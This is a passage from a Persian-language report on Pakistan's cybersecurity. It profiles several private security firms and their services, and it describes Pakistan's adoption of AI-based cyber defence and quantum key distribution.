خصوصــی و نوآفریــن پاکســتان در حوزه امنیــت ســایبری معرفــی خواهندشــد. درواقــع، ایــن 

شــرکت‌ها بــا ارائــه خدمــات نوآورانــه‌ای ماننــد تســت نفــوذ، تحلیــل بدافــزار، شبیه‌ســازی 

حــملات، آموزش و مشــاوره بــه ارتقــای تــاب‌آوری ســایبری بخش‌هــای مختلــف اقتصــادی و 

اجتماعــی کمــک می‌کننــد.

   اطلاع‌نگاشت ۸:      شرکت‌های خصوصی پیشرو در حوزه امنیت سایبری پاکستان  

شرکت خدمات امنیت سایبری 
Tier3

https://tier3.pk/

شرکت
Apprise Cyber

https://apprise-cyber.com/

شرکت امنیت سایبری
Ideal Solutions

https://www.idealsols.com/

شرکت خدمات امنیت سایبری 
CyberWing

https://cyberwingsolutions.com

شرکت مشاوره
GRC

https://grcc.com.pk/

شرکت
ONSITE

https://www.onsite.com.pk/

شرکت
Dunicot

https://dunicot.com/ 
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     3  برییمنیت ساامینه زن در ات پاکستیوضع  .

   اول بخش     پاکستانیبریامنیت سا  .

 �Tier3 شرکت خدمات امنیت سایبری

شرکت خدمات امنیت سایبری ‌Tier3 1 از سال ۲۰۱۱ به‌عنوان پیشروترین شرکت امنیت 

ســایبری در پاکســتان فعالیت می‌کند. این شــرکت با برخورداری از بیش از ۱۲ ســال تجربه، 

ماموریت خود را حفاظت از دنیای دیجیتال پاکستان و توانمندسازی سازمان‌ها، شرکت‌ها 

و افراد در برابر تهدیدهای ســایبری تعریف کرده‌اســت. این شــرکت در زمینه ارائه خدمات 

تخصصــی ازجملــه ارزیــابی امنیت ســایبری، تســت نفوذ، شبیه‌ســازی حــملات واقعی برای 

ارزیابی آمادگی، تحلیل آسیب‌پذیری، تهدیدشناســی، پاســخ به حوادث، آموزش تخصصی 

امنیت سایبری و مشاوره در این حوزه فعالیت دارد ]43[.

شــرکت خدمــات امنیــت ســایبریTier3  کــه در ســال ۲۰۲۲ موفــق بــه دریافــت جایــزه 

TechBehemoths در بخــش امنیــت ســایبری شــد ]44[، بــا تکیه بر تیمــی از متخصصان و 

هکرهــای نخبــه ماموریــت دارد تــا ســازمان‌ها، کســب‌وکارها و افــراد را در برابــر تهدیدهــای 

ســایبری محافظت کرده و تاب‌آوری دیجیتال آن‌ها را تقویت کند. دفتر مرکزی این شــرکت 

در اسلام‌آباد قرار دارد و خدمات خود را به مشتریان در سراسر پاکستان ارائه می‌دهد ]43[.

 � Apprise Cyberشرکت

شــرکت Apprise Cyber یکــی از برتریــن شــرکت‌های حوزه فنــاوری و آموزش امنیــت 

سایبری در پاکستان است. این شرکت تلاش می‌کند بهترین راهکارهای امنیت سایبری و 

خدمات تست نفوذ را در پاکستان ارائه دهد و راهکارهای کاملا امن و آزمایش‌شده‌ای برای 

مشــتریان خود فراهم کند. این شــرکت با چشم‌انداز پیشــگامی در خدمات و آموزش‌های 

امنیت سایبری ماموریت دارد تا با ارائه دوره‌های آموزشی باکیفیت، افراد و سازمان‌ها را در 

برابر تهدیدهای سایبری توانمند سازد و گامی موثر در ایجاد دنیای دیجیتال امن‌تر بردارد.

1.  Tier3 Cyber Security Services Pakistan



114

  امنیت سایبری و دیپلماسی سایبری پاکستان  

شــرکت Apprise Cyber در زمینــه حفاظــت و ایمن‌ســازی کســب‌وکارها، جوامــع و افــراد 

در دنیــای دیجیتــال درحال‌رشــد بــه موفقیــت چشــمگیری دســت یافتــه و اعتمــاد بیــش 

از ۵۰۰ شــرکت در سراســر پاکســتان را جلــب کرده‌اســت. درمجــموع، خدمــات امنیتــی ایــن 

: شــرکت عبارتنــداز

 y ارزیابی نفوذ و نقاط‌ضعف؛‌

 y جرم‌شناسی دیجیتال؛‌

 y تست نفوذ؛‌

 y سخت‌سازی سیستم‌ها؛‌

 y تست مهندسی اجتماعی؛‌

 y بازبینی کد منبع؛‌

 y تشخیص و پاسخ‌دهی مدیریت‌شده؛‌

 y ارزیابی ریسک تاب‌آوری شبکه؛‌

 y بازبینی سیاست‌های امنیت اطلاعات؛ و‌

 y .تست نفوذ مبتنی‌بر اطلاعات‌

مشتریان هدف این شرکت شامل دولت و سازمان‌های دولتی، بانک‌ها، بیمه و مراکز 

فعــال در حوزه‌های بهداشــت، درمان و آموزش، خرده‌فروشــی و تولید، رســانه و ســرگرمی، 

حمل‌ونقــل و آمــاد، انرژی و خدمــات عمومــی، فنــاوری اطلاعــات و نرم‌افزار، ساخت‌وســاز و 

مخابرات می‌شود ]45[.

 � Ideal Solutionsشرکت امنیت سایبری

امنیــت  حوزه  در  شناخته‌شــده  شــرکتی   1  Ideal Solutions ســایبری  امنیــت  شــرکت 

1.  Ideal Solutions (SMC-PRIVATE) Limited
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     3  برییمنیت ساامینه زن در ات پاکستیوضع  .

   اول بخش     پاکستانیبریامنیت سا  .

ســایبری و فنــاوری اطلاعــات پاکســتان اســت. ایــن شــرکت مســتقر در اسلام‌آبــاد پاکســتان 

اســت و دارای شــعبه‌های متعــددی در ایــالات متحــده آمریــکا، اســپانیا و دبی اســت. ایــن 

شــرکت به‌ســرعت درحال‌رشــد اســت و خدمات گســترده و باکیفیت خود را به مشــتریانی از 

سراســر جهــان ارائــه می‌دهــد. شــرکت امنیــت ســایبری Ideal Solutions در ۱۰ ســال گذشــته 

خدمــات قابل‌اعتمــاد و مقرون‌به‌صرفــه‌ای در حوزه‌هــای زیــر بــه کشورهــای مختلــف ازجملــه 

، امــارات )دبی، الشــارجه و ابوظبــی(، بحریــن، کویــت، اســترالیا، بریتانیــا، کانــادا و  مــالزی، قطــر

ایــالات متحــده آمریــکا ارائــه داده‌اســت:

 y توسعه وب و برنامه‌های تلفن همراه )اپلیکیشن(؛‌

 y بازاریابی دیجیتال؛‌

 y طراحی گرافیک؛‌

 y خدمات چاپ؛‌

 y مدیریت مالی؛ و‌

 y :امنیت سایبری که شامل موارد زیر می‌شود‌

 y تست نفوذ؛‌

 y تست نفوذ شبکه؛‌

 y تست نفوذ برنامه‌های وب؛‌

 y های تلفن همراه )اپلیکیشن(؛‎تست نفوذ برنامه‌‌

 y تست نفوذ فضای ابری؛‌

 y تست نفوذ وب‌گاه؛ و‌

 y .1)API( تست نفوذ رابط برنامه‌نویسی کاربردی‌

1.  Application Programming Interface



116

  امنیت سایبری و دیپلماسی سایبری پاکستان  

بازاریابـــان  وب،  توســـعه‌دهندگان  مشـــتمل‌بر  شـــرکت  ایـــن  ســـایبری  امنیـــت  تیـــم 

دیجیتـــال و طراحـــان گرافیـــک حرفـــه‌ای اســـت کـــه مشـــتریان را در پیشـــبرد راهبردهـــای 

بازاریـــابی خـــود بـــا اســـتفاده از فناوری‌هـــای پیشـــرفته هدایـــت می‌کننـــد. تیـــم امنیـــت ســـایبری 

ایـــن شـــرکت بـــر محافظـــت از وب‌ســـایت‌ها و کســـب‌وکارهای تجـــارت الکترونیـــک در برابـــر 

ــز دارد. ــا تمرکـ هکرهـ

چشــــــــم‌انداز شــــــــرکت امنیــــــــت ســــــــایبری Ideal Solutions تبدیــــــــل شــــــــدن بــــــــه 

ارائه‌دهنـــــده‌ای پیـــشرو در حوزه خدمــــــات وب و نرم‌افـــــــزار بـــا کیفیـــت بـــالا باهـــــــدف کمـــک 

بـــه رشـــد سریـــع و موثـــر کســـب‌وکار مشـــتریان اســـت. ایـــن شـــرکت بـــا طراحـــی و توســـعه 

ـــتریان را  ـــت مش ـــواره رضای ـــد و هم ـــه می‌ده ـــی ارائ ـــای باکیفیت ـــه، راهکاره ـــه و نوآوران خلاقان

در اولویـــت قـــرار می‌دهـــد.

ایـــن شـــرکت همچنیـــن دوره‌هـــای متـــنوع آموزشـــی ازجملـــه آموزش امنیـــت ســـایبری، 

بازاریـــابی دیجیتـــال، طراحـــی وب‌ســـایت، طراحـــی گرافیـــک، نرم‌افـــزار آفیـــس، چندرســـانه‌ای 

و همچنــیـن توــسـعه برنامه‎ــهـای تلــفـن هــمـراه )اپلیکیــشـن( اندروــیـد برــگـزار می‎کنـــد تـــا 

ـــاوری و دیجیتـــال ارتقـــا  مهارت‌هـــای تخصصـــی افـــراد و تیم‌هـــا را در حوزه‌هـــای مختلـــف فن

بخشـــد ]46[.

 �CyberWing شرکت خدمات امنیت سایبری

شــرکت خدمات امنیت سایبری CyberWing شــرکتی پیشرو در زمینه خدمات امنیت 

سایبری مستقر در لاهور است که با ارائه‌ بهترین خدمات تست نفوذ و راهکارهای امنیتی، 

از داده‌ها و دارایی‌های دیجیتال کســب‌وکارها محافظت می‌کند. تمرکز این شــرکت بر ارائه‌ 

خدمــات نوآورانــه و مطابــق بــا اســتانداردهای جهانــی اســت تــا امنیــت ســازمان‌ها در برابر 

تهدیدهای روزافزون فضای مجازی را تضمین کند.
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     3  برییمنیت ساامینه زن در ات پاکستیوضع  .

   اول بخش     پاکستانیبریامنیت سا  .

داخلــی  تیــم  اســت.  نفــوذ  تســت  شــامل  شــرکت  ایــن  خدمــات  مهم‌تریــن  از  یکــی 

ایــن شــرکت متشــکل‌از متخصصــان دارای گواهــی معتبــر شورای تســت‌کنندگان نفــوذ 

حرفــه‌ای و اخلاق‌مــدار )CREST(1 بــوده کــه بــا بهــره‌گیری از جدیدتریــن فناوری‌هــا قادرنــد 

آسیب‌پذیری‌هــای سیســتم‌های مشــتریان را شناســایی کــرده و راهکارهــای عملــی بــرای 

ارتقــای ســطح امنیــت ارائــه ‌دهنــد. متخصصــان ایــن شــرکت بــه‌صورت ۲۴ ســاعته امنیــت 

را تضمیــن می‌کننــد. زیرســاخت‌های مشــتریان 

شــرکت  CyberWingدر حوزه‌ حفاظت از داده‌ها نیز خدمات جامعی شــامل ایمن‌ســازی 

داده‌هــا، نقــاط پایانــی، وب‌گاه‌هــا، ایمیل‌هــا، ســخت‌افزارها، نرم‌افزارهــا و راهکارهــای ابری 

ارائــه می‌دهــد. ایــن خدمــات به‌گونــه‌ای طراحــی شــده‌اند کــه از اطلاعــات حســاس ســازمان‌ها 

در برابــر نفــوذ یــا حــملات ســایبری محافظــت شــود.

رویکــرد ایــن شــرکت در زمینــه امنیــت فنــاوری اطلاعــات برمبنــای بررســی بیــش از ۲۰۰ 

عامــل مختلــف در زمینــه هــک اخلاقــی اســت و به‌همین‌دلیــل نیــز از روش‌هــای جدیــد و 

موثــر بــرای شناســایی و رفــع تهدیدهــا- به‌جــای تکیــه بــر روش‌هــای قدیمــی و ناکارآمــد- 

اســتفاده می‌کنــد. ایــن شــرکت تاکــنون بــا بیــش از ۲۰ مشــتری فعــال، اجــرای موفــق ۲۰۰ 

پروژه و همــکاری بــا ۲۵ مشــاور متخصــص توانسته‌اســت جایــگاه قابل‌توجهــی در میــان 

آورد. ارائه‌دهنــدگان خدمــات امنیــت ســایبری به‌دســت 

همــچون  دیــگری  راهکارهــای  امنیتــی،  خدمــات  ارائــه  علاوه‌بــر   CyberWing شــرکت 

و  لینوکــس  سرورهــای  ایمن‌ســازی  ایمــن،  و  اختصاصــی  وب‌گاه‌هــای  توســعه‌  و  طراحــی 

، و همچنیــن خدمــات میزبانــی وب پرســرعت و امــن را نیــز در اختیــار کســب‌وکارها  وینــدوز

قــرار می‌دهــد. تمامــی ایــن خدمــات باهــدف ایجــاد محیطــی دیجیتــال امــن و پایــدار بــرای 

فعالیــت ســازمان‌ها ارائــه می‌شــوند ]47[.

1.  Council of Registered Ethical Security Testers
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  امنیت سایبری و دیپلماسی سایبری پاکستان  

 �GRC شرکت مشاوره

شــرکت مشــاوره GRC 1 شــرکتی پیــشرو در حوزه‌ فنــاوری اطلاعــات، امنیــت اطلاعــات و 

امنیــت ســایبری در پاکســتان اســت کــه در ســال 2024 تاسیــس شده‌اســت. ایــن شــرکت 

 ،2)GRC( خدمــات حرفــه‌ای در زمینه‌ حاکمیت فنــاوری اطلاعات، مدیریت ریســک و انطباق

امنیــت اطلاعــات و امنیــت ســایبری را در اختیار کســب‌وکارهای کوچــک و بزرگ- در داخل 

ج از کــشور- قرار می‌دهد. درمجموع، این شــرکت مجموعه‌ای از خدمات مشــاوره‌ای  و خــار

تخصصی ارائه می‌دهد که شامل موارد زیر است:

امنیت اطلاعات: ارائه مشاوره‌های جامع برای حفاظت از داده‌های ارزشمند سازمان‌ها 

و تضمین سه اصل اساسی امنیت اطلاعات یعنی محرمانگی، یکپارچگی و دسترس‌پذیری؛

امنیــت ســایبری: طراحــی و پیاده‌ســازی راهکارهــای امنیــت ســایبری بــرای محافظــت 

ــر تهدیدهــای ســایبری و تضمیــن تــاب‌آوری و  از دارایی‌هــای دیجیتــال کســب‌وکارها در براب

ــی؛ ــرایط بحران ــا در ش ــای آن‌ه ــه فعالیت‌ه ــداوم بی‌وقف ت

حاکمیـــت فنـــاوری اطلاعـــات، مدیریـــت ریســـک و انطبـــاق: کمـــک بـــه ســـازمان‌ها در 

ایجـــاد و توســـعه چارچوب‌هـــا، سیاســـت‌ها و رویه‌هـــای مدیریتـــی کارآمـــد به‌منـــظور بهبـــود 

الزامـــات  بـــا  از انطبـــاق  حاکمیـــت فنـــاوری اطلاعـــات، مدیریـــت ریســـک‌ها و اطمینـــان 

ــی. ــی و مقرراتـ قانونـ

ایــن شــرکت باتکیه‌بــر تجربــه‌ مدیــران و مشــاوران متخصــص خــود تلاش می‌کنــد تــا 

ســازمان‌ها و کســب‌وکارها را در مسیــر ایمن‌ســازی دارایی‌هــای دیجیتــال، مدیریــت ریســک 

و بهبــود چارچوب‌هــای حاکمیتــی یــاری دهــد و بــه یکــی از بازیگــران کلیــدی در حوزه‌ امنیــت 

ســایبری و فنــاوری اطلاعــات در پاکســتان و فراتــر از آن تبدیــل شــود ]48[.

1.  GRC Consultants (SMC-Private) Limited
2.  IT Governance, Risk & Compliance
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     3  برییمنیت ساامینه زن در ات پاکستیوضع  .

   اول بخش     پاکستانیبریامنیت سا  .

 �ONSITE شرکت

شــرکت ONSITE در ســال ۲۰۰۸ تاسیــس شــد و امروزه به‌عنــوان یکــی از معتبرتریــن 

ارائه‌دهنــدگان راهکارهــای امنیــت فنــاوری اطلاعــات در پاکســتان شــناخته می‌شــود. این 

شــرکت بــا تمرکز بر محصــولات و خدمات امنیت اطلاعــات، راهکارهای جامــع و نوآورانه‌ای 

در اختیار ســازمان‌ها در صنایع مختلف قرار می‌دهد. مرکز اصلی این شــرکت در لاهور قرار 

دارد و خدماتی همچون مشــاوره فناوری اطلاعات، طراحی راهکارهای فناورانه، پیاده‌ســازی 

پروژه‌هــا و پشــتیبانی ۲۴ ســاعته را بــه مشــتریان ارائــه می‌دهــد. تیمــی بزرگ از مهندســان 

متخصــص و دارای مــدارک معتبــر بین‌المللــی در حوزه‌های شــبکه، امنیت، مجازی‌ســازی، 

فضای ابری و امنیت سایبری ستون اصلی موفقیت این شرکت را تشکیل می‌دهند.

هدف شرکت ONSITE کمک به سازمان‌ها برای ایجاد زیرساخت‌های ایمن، مقیاس‌پذیر 

و قابل‌اعتماد است. این شرکت مجموعه‌ گسترده‌ای از خدمات امنیت سایبری و فناوری 

اطلاعات ازجمله ممیزی امنیتی فناوری اطلاعات، تحلیل ریســک، تســت نفوذ، شناســایی 

نقاط آسیب‌پذیر و تحلیل بدافزارها را ارائه می‌دهد ]49[.

شــرکت ONSITE از اولین شــرکت‌هایی است که در پاکســتان خدمات امنیت سایبری 

رویکــردی  بــا  شــرکت  ایــن  داده‌اســت.  ارائــه  متوســط  و  کوچــک  کســب‌وکارهای  بــرای  را 

مقرون‌به‌صرفه و در عین حال تخصصی، امکان دسترسی به خدمات مشاوره‌ای حرفه‌ای را 

برای سازمان‌هایی فراهم کرده که پیش‌تر به‌دلیل هزینه‌های بالا قادر به استفاده از چنین 

خدماتی نبودند ]50[.

 � Dunicot شرکت

شرکت Dunicot یکی از پیشروان عرصه امنیت سایبری در پاکستان است که با تمرکز 

بر ارائه‌ خدمات تخصصی و پیشرفته امنیت اطلاعات و توسعه امن نرم‌افزار نقش مهمی در 
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حفاظت از موسسات مالی و سازمان‌ها، راهبردهای حاکمیتی و اطلاعات حساس عمومی 

ایفا می‌کند. هدف اصلی این شــرکت ارتقای ســطح امنیت داده‌ها و ایجاد زیرســاخت‌های 

مطمئــن برای مشــتریان اســت تا همواره بتوانند بــرای مقابله با تهدیدهای ســایبری آماده 

باشــند. این شــرکت با ارائه‌ خدمات متنوع و متناســب با نیاز هر کســب‌وکار به سازمان‌ها 

کمک می‌کند تا دارایی‌های دیجیتال خود را در برابر تهدیدهای روزافزون محافظت کنند.

شرکت Dunicot مجموعه‌ گسترده‌ای از خدمات امنیت سایبری را در اختیار مشتریان 

قرار می‌دهد که شامل موارد زیر است:

 y تست نفوذ؛

 y ارزیابی آسیب‌پذیری؛

 y ؛ تحلیل بدافزار

 y شکار تهدیدها؛

 y بررسی امنیتی کدها؛ و

 y .]51[ آموزش‌های امنیتی

ایــن شــرکت بــا بهــره‌گیری از تیم متخصــص و متعهد خود قادر اســت خدمــات امنیتی 

خود را براســاس روش‌های نوین و متناســب با نیاز هر ســازمان ارائه ‌دهد. هم شرکت‌های 

نوآفرین و هم شــرکت‌های بزرگ می‌توانند از راهکارهای جامع و تخصصی این شــرکت بهره 

ببرند تا سطح دفاع سایبری خود را به‌طور موثری تقویت نمایند ]52[.
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     4  بهب فنایریبه‎کارگبن در دیبه‎کارگیری فناوری‎های نو  .

   اول بخش     پاکستانیبریامنیت سا  .

ازآنجایی‌کـــه امروزه روش‌هـــای دفاعـــی ســـنتی ماننـــد سیســـتم‌های مبتنی‌بـــر شناســـایی 

امضـــا بـــرای مقابلـــه بـــا تهدیدهـــای پیچیـــده و متغیـــر کنونـــی کافـــی نیســـتند، بـــرای مقابلـــه 

بـــا چنیـــن خطراتـــی بایـــد از فناوری‌هـــای نوپدیـــدی همـــچون هـــوش‌ مصنوعـــی، یـــادگیری 

ماشینـــی، امنیـــت کوانتومـــی و ادغـــام امنیـــت در فرآینـــد توســـعه و عملیـــات نرم‌افـــزار 

دفـــاع  فناوری‌هـــا  ایـــن  گرفـــت.  کمـــک  ســـایبری  امنیـــت  تقویـــت  بـــرای   1)DevSecOps(

ــودکار  ــخ‌دهی خـ ــا و پاسـ ــار آن‌هـ ــل رفتـ ــا، تحلیـ ــی تهدیدهـ ــایی آنـ ــایبری را ازطریـــق شناسـ سـ

بـــه آن‌هـــا تقویـــت می‌کننـــد و امنیـــت ســـایبری را از یـــک رویکـــرد واکنشـــی بـــه یـــک رویکـــرد 

ح  پیش‌بینی‌کننـــده تغییـــر می‌دهنـــد. درادامـــه، هریـــک از ایـــن فناوری‌هـــا به‌طورمختصـــر شر

داده می‌شـــوند.

1.  Development, Security, Operations

به‌‎کارگیری فناوری‌‎های نوین در 
دفاع سایبری پاکستان

4
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هوش‌ مصنوعی� 

تراکنش‌هـــا،  آنـــی  ردیـــابی  )بـــرای  مالـــی  بخـــش  در  ‌مصنوعـــی  هـــوش  پاکســـتان،  در 

تشـــخیص رفتارهـــای مشـــکوک و متقلبانـــه و شناســـایی برداشـــت‌های جعلـــی یـــا ســـرقت 

بـــه ســـوابق  هویـــت(، پایگاه‌هـــای داده دولتـــی )بـــرای جلـــوگیری از دسترســـی غیرمجـــاز 

حســـاس شـــهروندان(، و زیرســـاخت‌های حیاتـــی )بـــرای شناســـایی خـــراب‌کاری یـــا جاسوســـی 

در شـــبکه‌های عملیاتـــی( بـــه‌کار گرفتـــه می‌شـــود.

پاکســـتان در ســـال‌های اخیـــر گام‌هـــای قابل‌توجهـــی در بـــه‌کارگیری هـــوش‌ مصنوعـــی 

 )NR3C( ـــه جرایـــم ســـایبری در حوزه امنیـــت ســـایبری برداشته‌اســـت. مرکـــز ملـــی پاســـخ ب

بـــا جرایـــم ســـایبری  بـــه مبـــارزه  ‌مصنوعـــی  ابزارهـــای مبتنی‌بـــر هـــوش  بهـــره‌گیری‌از  بـــا 

آن،  کنـــار  از حـــملات دارد. در  و پیشـــگیری  مـــوثری در شناســـایی  نقـــش  و  می‌پـــردازد 

گاهـــی عمومـــی و توســـعه  انجمـــن امنیـــت اطلاعـــات پاکســـتان )PISA(1 بـــا تمرکـــز بـــر ایجـــاد آ

بـــه‌کارگیری روش‌هـــای نویـــن  بـــرای  را  ظرفیت‌هـــای تخصصـــی در تلاش اســـت زمینـــه 

امنیـــت ســـایبری مبتنی‌بـــر هوش‌مصنوعـــی فراهـــم ‌کنـــد. شـــرکت‌های نوآفریـــن بومـــی 

 Cyfirma نیـــز در ایـــن مسیـــر نقـــش مـــوثری ایفـــا می‌کننـــد. به‌عنـــوان مثـــال، شـــرکت‌های

ــد  ــه می‌دهنـ ــی ارائـ ــر هـــوش ‌مصنوعـ ــای مبتنی‌بـ ــولات و راهکارهـ Pakistan و Taza محصـ

کـــه بـــه تقویـــت امنیـــت ســـایبری کمـــک می‌کننـــد. افزون‌برایـــن، پاکســـتان نســـبت بـــه 

ارتقـــای ظرفیـــت  بـــا دانشـــگاه‌ها و شـــرکت‌های فنـــاوری بین‌المللـــی جهـــت  همـــکاری 

ــق  ــای موفـ ــی از نمونه‌هـ ــی‌ورزد. برخـ ــادرت مـ ــن حوزه مبـ ــشور در ایـ ــی کـ ــی و عملـ پژوهشـ

بـــه‌کارگیری هـــوش ‌مصنوعـــی در بخش‌هـــای مختلـــف پاکســـتان در اطلاع‌نگاشـــت ۹ نشـــان 

داده شده‌اســـت.

1.  Pakistan Information Security Association
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     4  بهب فنایریبه‎کارگبن در دیبه‎کارگیری فناوری‎های نو  .

   اول بخش     پاکستانیبریامنیت سا  .

   اطلاع‌نگاشت ۹:      برخی از نمونه‌های موفق به‌کارگیری هوش ‌مصنوعی در بخش‌های مختلف پاکستان  

1)NTDC(

باوجــود پیشــرفت‌های پاکســتان در بــه‌کارگیری هــوش‌ مصنوعــی و یــادگیری ماشینــی 

بــرای تقویــت امنیت ســایبری، مسیر پیش‌رو خالی از موانع نیســت. اجــرای این فناوری‌ها 

در مقیــاس گســترده با محدودیت‌ها و دغدغه‌هایی همراه اســت کــه در صورت بی‌توجهی 

می‌توانــد اثربخشــی اقدامات دفاعی را کاهش دهــد. مهم‌ترین چالش‌ها و محدودیت‌های 

پیش‌روی پاکستان در این زمینه عبارتنداز:

 y ؛ ‌کمبود متخصصان ماهر

 y نگرانی‌های مربوط‌به حریم خصوصی داده‌ها؛‌

 y هزینه‌های بالای پیاده‌سازی؛‌

 y عدم‌وجود چارچوب متمرکز پاسخ به حوادث؛ و‌

 y .محدودیت‌های زیرساختی‌

1.  National Transmission & Despatch Company

بانک حبیب
)HBL(

خ مثبت کاذب  کاهش نر
تا ۴۰ درصد

با استفاده از
راهکار شناسایی
تقلب مبتنی‌بر 
هوش ‌مصنوعی

سازمان ملی ثبت 
احوال و پایگاه داده 

)NADRA(

دفع چندین حمله سایبری 
در سال ۲۰۲۲ با استفاده 

از بیومتریک رفتاری و 
الگوریتم‌های یادگیری 

ماشینی برای حفاظت از 
پایگاه‌های داده شهروندان

شرکت ملی
 انتقال و توزیع

1 )NTDC(

پیاده‌سازی مدل‌های 
شناسایی ناهنجاری 

مبتنی‌بر هوش ‌مصنوعی 
برای نظارت بر شبکه و 

جلوگیری‌از حملات
سایبری فیزیکی
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بااین‌حــال، انتظــار می‌رود که تا ســال ۲۰۳۰ حدود ۸۵ درصد تهدیدهای ســایبری توســط 

سیســتم‌های امنیتــی مبتنی‌بــر هــوش‌ مصنوعی به صورت آنی شناســایی و خنثی شــوند. 

افزون‌برآن، پیش‌بینی می‌شــود ترکیب فناوری‌های نوین مانند رایانش کوانتومی و هوش 

‌مصنوعــی امــکان شناســایی و مقابلــه بــا حــملات پیچیــده باج‌افــزاری و آسیب‌پذیری‌هــای 

روز صفــر را فراهــم کنــد. هم‌زمــان، ســرمایه‌گذاری‌های راهبــردی و توســعه نیروی انســانی 

متخصص برای تبدیل پاکستان به رهبر منطقه‌ای در دفاع سایبری ضروری به نظر می‌رسد. 

پیش‌بینی‌ها در این زمینه نشان می‌دهند که حداقل 1/5 درصد از تولید ناخالص داخلی این 

کشور باید به توســعه امنیت ســایبری مبتنی‌بر هوش‌ مصنوعی اختصاص یابد. مشارکت 

فعــال بخش‌هــای دولتــی و خصوصــی همــراه بــا همکاری‌هــای بین‌المللــی نیــز می‌تواند به 

انتقال دانش، کاهش هزینه‌ها و افزایش بهره‌وری کمک کند. درواقع، پاکســتان با توسعه 

راهکارهــای بومی بــرای مقابله با تهدیدهای محلــی و بهــره‌گیری‌از همکاری‌های بین‌المللی 

می‌توانــد صــادرات محصــولات امنیت ســایبری مبتنی‌بــر هوش‌مصنوعی را تا ســال ۲۰۳۰ به 

حدود ۳ میلیارد دلار در سال برساند ]42[.

امنیت کوانتومی� 

ـــد  ـــع کلی ـــرکت توزی ـــن ش ـــوان اولی 1 به‌عن ـــکیور ـــو س ـــاک کی ـــرکت پ ـــدازی ش ـــا راه‌ان ـــتان ب پاکس

کوانتومـــی )QKD(2 گام بزرگـــی در حوزه امنیـــت ســـایبری برداشته‌اســـت. توزیـــع کلیـــد کوانتومـــی 

یکـــی از نویدبخش‌تریـــن مرزهـــای امنیـــت اطلاعـــات اســـت. بـــرخلاف روش‌هـــای رمزنـــگاری 

قدیمـــی کـــه می‌تواننـــد توســـط رایانه‌هـــای قدرتمنـــد- به‌ویـــژه بـــا ظـــهور محاســـبات کوانتومـــی- 

شکســـته شـــوند، توزیـــع کلیـــد کوانتومـــی از ویژگی‌هـــای اساســـی مکانیـــک کوانتومـــی بـــرای 

ــایی  ــا رمزگشـ ــوذ یـ ــی از نفـ ــاظ علمـ ــه لحـ ــه بـ ــد کـ ــتفاده می‌کنـ ــگاری اسـ ــای رمزنـ ــاد کلیدهـ ایجـ

1.  PakQSecure
2.  Quantum Key Distribution Company
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   اول بخش     پاکستانیبریامنیت سا  .

ایمـــن هســـتند. هرگونـــه تلاش بـــرای شـــنود در یـــک انتقـــال توزیـــع کلیـــد کوانتومـــی بلافاصلـــه 

وضعیـــت کوانتومـــی سیســـتم را تغییـــر می‌دهـــد و طرفیـــن را مطلـــع می‌ســـازد و از افشـــای کلیـــد 

جلـــوگیری می‌کنـــد.

، اولین شــرکت تخصصی توزیع کلید کوانتومی در پاکستان، با  شــرکت پاک کیو ســکیور

ارائه راه‌حل‌های پیشــرفته رمزنگاری کوانتومی به حفاظت از ارتباطات حیاتی کمک می‌کند. 

ایــن شــرکت قصــد دارد امنیــت ســایبری را بــا اســتفاده از فناوری‌هــای کوانتومی به ســطح 

جدیــدی ارتقــا دهد. پاک کیو ســکیور بــا ارائه کلیدهای رمزنــگاری کوانتومی از 1 هــزار بیت تا 

100هــزار بیــت بــه ســازمان‌هایی کــه نیــاز بــه بالاترین ســطوح حفاظــت داده دارنــد، خدمات 

ارائــه می‎دهــد. ایــن شــرکت در تلاش اســت تــا ارتباطــات امــن کوانتومــی را در بخش‌هــای 

مختلــف کشور ازجملــه در بخش ارتباطات دولتی، دفاعی، معــاملات بانکی و مالی، امنیت 

داده‌هــای بخــش سلامت، شــبکه‌های انرژی و زیرســاخت و همچنین خدمات ســازمانی و 

ابری گســترش دهد. افزون‌برآن، شــرکت پاک کیو ســکیور قصد دارد دامنه خدمات خود را 

با همکاری نهاد‌های دولتی، شــرکت‌های خصوصی و موسســات تحقیقاتی گسترش دهد. 

هــدف این همکاری‌ها، تسریع در پذیرش و اســتفاده از فناوری‌های ارتباطات کوانتومی در 

سراسر پاکستان و حتی فراتر از آن است. این شرکت همچنین قصد دارد در آینده به بررسی 

و توســعه ادغــام بــا سیســتم‌های مبتنی‌بر توزیــع کلید کوانتومــی ماهواره‌ای و شــبکه‌های 

کوانتومی شهری بپردازد.

 1)CETQAP( افزون‌بــرآن، مرکــز عالــی فنــاوری کوانتومــی و هــوش‌ مصنوعــی پاکســتان

دســتاورد مهــم علمــی و فناورانــه‌ای در زمینــه کوانتــوم داشته‌اســت و بــا ایجــاد یــک کلیــد 

کوانتومــی 100 هــزار بیتــی- یکــی از بزرگ‌تریــن کلیدهــای رمزنــگاری کوانتومــی تولیدشــده در 

1.  Centre of Excellence for Technology Quantum and Artificial Intelligence Pakistan
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منطقــه- پیشــرفت بزرگــی در زیســت‌بوم کوانتومــی ملــی پاکســتان رقــم زده‌اســت. آزمایش‌ها 

ــا وضوح  ــو ب ــش ویدئ ــن، پخ ــی ام ــات صوت ــد مکالم ــاوری می‌توان ــن فن ــه ای ــد ک ــان داده‌ان نش

بــالا و کنفرانس‌هــای زنــده را بــا اســتفاده از فنــاوری توزیــع کلیــد کوانتومــی انجــام دهــد. 

به‌گفتــه مقامــات رســمی مرکــز عالــی فنــاوری کوانتومــی و هــوش‌ مصنوعــی، تولیــد موفــق و 

آزمایــش زنــده کلیدهــای 100 هــزار بیتــی توزیــع کلیــد کوانتومــی توســط ایــن مرکــز بــر آمادگــی 

زیرســاخت‌های ارتباطــات کوانتومــی در پاکســتان و همچنیــن ظرفیــت عظیــم ایــن کــشور 

بــرای یکپارچگــی فناوری‌هــای کوانتومــی آینــده در بخش‌هــای دولتــی و خصوصی دلالــت دارد.

کیــو ســکیور و دســتاوردهای مرکــز  پــاک  راه‌انــدازی شــرکت  بــا  درمجــموع، پاکســتان 

عالــی فنــاوری کوانتومــی و هــوش‌ مصنوعــی اکــنون در زمــره کشورهــای درحال‌پیشــرفت در 

فناوری‌هــای ارتباطــات کوانتومــی قــرار دارد و ایــن امــر می‌توانــد زمینه‌ســاز آینــده دیجیتــال 

امن‌تــر و مقاوم‌تــر شــود ]88[.

شـــرکت  تحت‌عنـــوان  دیـــگری  شـــرکت  دارای  کوانتومـــی  فنـــاوری  حوزه  در  پاکســـتان 

ـــوآوری  ـــج ن ـــی و تروی ـــات کوانتوم ـــبرد تحقیق ـــئولیت پیش ـــه مس ـــت ک ـــی1 اس ـــات کوانتوم ارتباط

